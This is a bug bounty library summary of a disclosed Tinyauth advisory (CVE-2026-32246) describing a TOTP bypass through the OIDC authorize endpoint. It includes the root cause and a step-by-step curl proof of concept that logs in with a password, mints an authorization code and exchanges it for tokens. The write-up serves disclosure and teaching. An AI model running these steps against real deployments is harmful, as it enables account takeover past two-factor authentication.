# Tinyauth vulnerable to TOTP/2FA bypass via OIDC authorize endpoint

Tinyauth's OIDC authorize endpoint issues codes for TOTP-pending sessions, letting anyone with just a password mint SSO tokens and bypass 2FA.

- Payout: Research
- Severity: high
- Program: Tinyauth
- Found by: e1024x
- Disclosed: 2026-03-12
- CVE: CVE-2026-32246
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3q28-qjrv-qr39
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-3q28-qjrv-qr39
- Tags: area:web domain:web impact:ato kind:research platform:ghsa sev:high tech:go tech:oidc technique:source-review vuln:access-control vuln:auth-bypass vuln:mfa-bypass

**Target:** OIDC authorization endpoint /api/oidc/authorize
**Root cause:** The OIDC authorize handler only checks that a user context exists via utils.GetContext(c) and never verifies IsLoggedIn or TotpPending, so sessions created after password-only login (TotpPending: true) are treated as fully authenticated.
**Steps:**
1. Log in with password only: `curl -c cookies.txt -X POST http://localhost:3000/api/user/login -H "Content-Type: application/json" -d '{"username":"totpuser","password":"totp123"}'` returns `{"message":"TOTP required","status":200,"totpPending":true}`
2. Request a code with the pending cookie: `curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize -H "Content-Type: application/json" -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'` returns a redirect_uri containing `code=<AUTH_CODE>`
3. Exchange the code: `curl -X POST http://localhost:3000/api/oidc/token -u "my-client-id:my-client-secret" -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"` returns access_token, id_token, refresh_token for the victim
**How found:** Code review comparing the OIDC authorize handler against the proxy controller: the proxy correctly blocks TOTP-incomplete sessions via IsBasicAuth && TotpEnabled, while the authorize handler lacked any equivalent IsLoggedIn/TotpPending guard despite the context middleware populating a context for pending sessions.
**Exploitation:** Attacker who knows the victim's password logs in to get a TOTP-pending cookie, calls /api/oidc/authorize to obtain an authorization code bound to the victim's sub claim, then redeems it at /api/oidc/token with the client credentials to receive valid access, ID and refresh tokens without ever supplying TOTP.
**Escalation:** Tokens are accepted by all downstream apps trusting tinyauth as OIDC provider, extending the bypass to every SSO-integrated service.
**Insight:** When an app has multiple auth-consuming endpoints (proxy vs OIDC), diff their session-state checks: a guard present in one handler but absent in another is a reliable MFA-bypass signal, especially where middleware populates partial contexts.

## Proof of concept (copied exactly from the original report)

**Password-only login leaving TOTP pending**

```
curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"totpuser","password":"totp123"}'
```

**OIDC authorize with TOTP-pending cookie**

```
curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"my-client-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'
```

**Code exchange for tokens**

```
curl -X POST http://localhost:3000/api/oidc/token \
  -u "my-client-id:my-client-secret" \
  -d "grant_type=authorization_code&code=<AUTH_CODE>&redirect_uri=http://localhost:8080/callback"
```

